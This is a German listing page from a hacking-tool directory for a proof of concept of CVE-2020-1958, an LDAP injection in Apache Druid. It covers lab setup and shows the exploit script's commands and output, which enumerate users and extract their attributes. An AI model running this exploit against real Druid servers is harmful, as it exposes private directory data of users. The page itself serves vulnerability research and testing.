Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-1958 — CVE-2020-1958 PoC | Kitploit
Tools/GitHubGitHub/ggolawski/cve-2020-1958
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsAuthentifizierung
GitHubggolawski/cve-2020-1958

CVE-2020-1958

CVE-2020-1958 PoC

Repository anzeigen
218vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-1958 PoC

CVE-2020-1958 ist eine hochkritische LDAP-Injection-Schwachstelle in Apache Druid 0.17.0. Sie ermöglicht einem Angreifer, den LDAP-Suchfilter zu umgehen und beliebige LDAP-Attributwerte von Benutzern abzurufen, die auf dem LDAP-Server existieren.

Aus der offiziellen Apache Druid Sicherheitsmeldung:

Wenn LDAP-Authentifizierung aktiviert ist:

  • Aufrufer von Druid-APIs mit einem gültigen Satz von LDAP-Anmeldeinformationen können die credentialsValidator.userSearch-Filtersperre umgehen, die bestimmt, ob ein gültiger LDAP-Benutzer sich bei Druid authentifizieren darf. Sie unterliegen weiterhin rollenbasierten Autorisierungsprüfungen, falls konfiguriert.
  • Aufrufer von Druid-APIs können beliebige LDAP-Attributwerte von Benutzern abrufen, die auf dem LDAP-Server existieren, sofern diese Informationen für den Druid-Server sichtbar sind. Diese Offenlegung von Informationen erfordert nicht, dass der Aufrufer selbst ein gültiger LDAP-Benutzer ist.

PoC

Das poc.py-Skript demonstriert, wie ein nicht autorisierter Angreifer Benutzer auf einem mit Druid integrierten LDAP-Server aufzählen und den Wert jedes Attributs jedes Benutzers abrufen kann.

Lokaler Druid-Testserver

Überspringen Sie diesen Schritt, wenn Sie bereits einen Druid-Server mit aktivierter LDAP-Authentifizierung haben.

  1. Laden Sie Druid 0.17.0 herunter und entpacken Sie es

    root@kitploit:~
    $ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
    $ tar -zxf apache-druid-0.17.0-bin.tar.gz
    
  2. Aktivieren und konfigurieren Sie die LDAP-Authentifizierung in conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • Aktivieren Sie die Erweiterung druid-basic-security

      Suchen Sie druid.extensions.loadList und fügen Sie druid-basic-security hinzu:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • Konfigurieren Sie die LDAP-Authentifizierung

      Fügen Sie Folgendes am Ende der Datei hinzu:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  3. Führen Sie den OpenLDAP-Server aus

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  4. Importieren Sie Benutzer aus users.ldif in LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  5. Führen Sie den Druid-Server aus

    root@kitploit:~
    $ bin/start-nano-quickstart
    

Benutzer aufzählen

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

LDAP-Attributwerte des Benutzers admin1 abrufen

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last
Tool herunterladen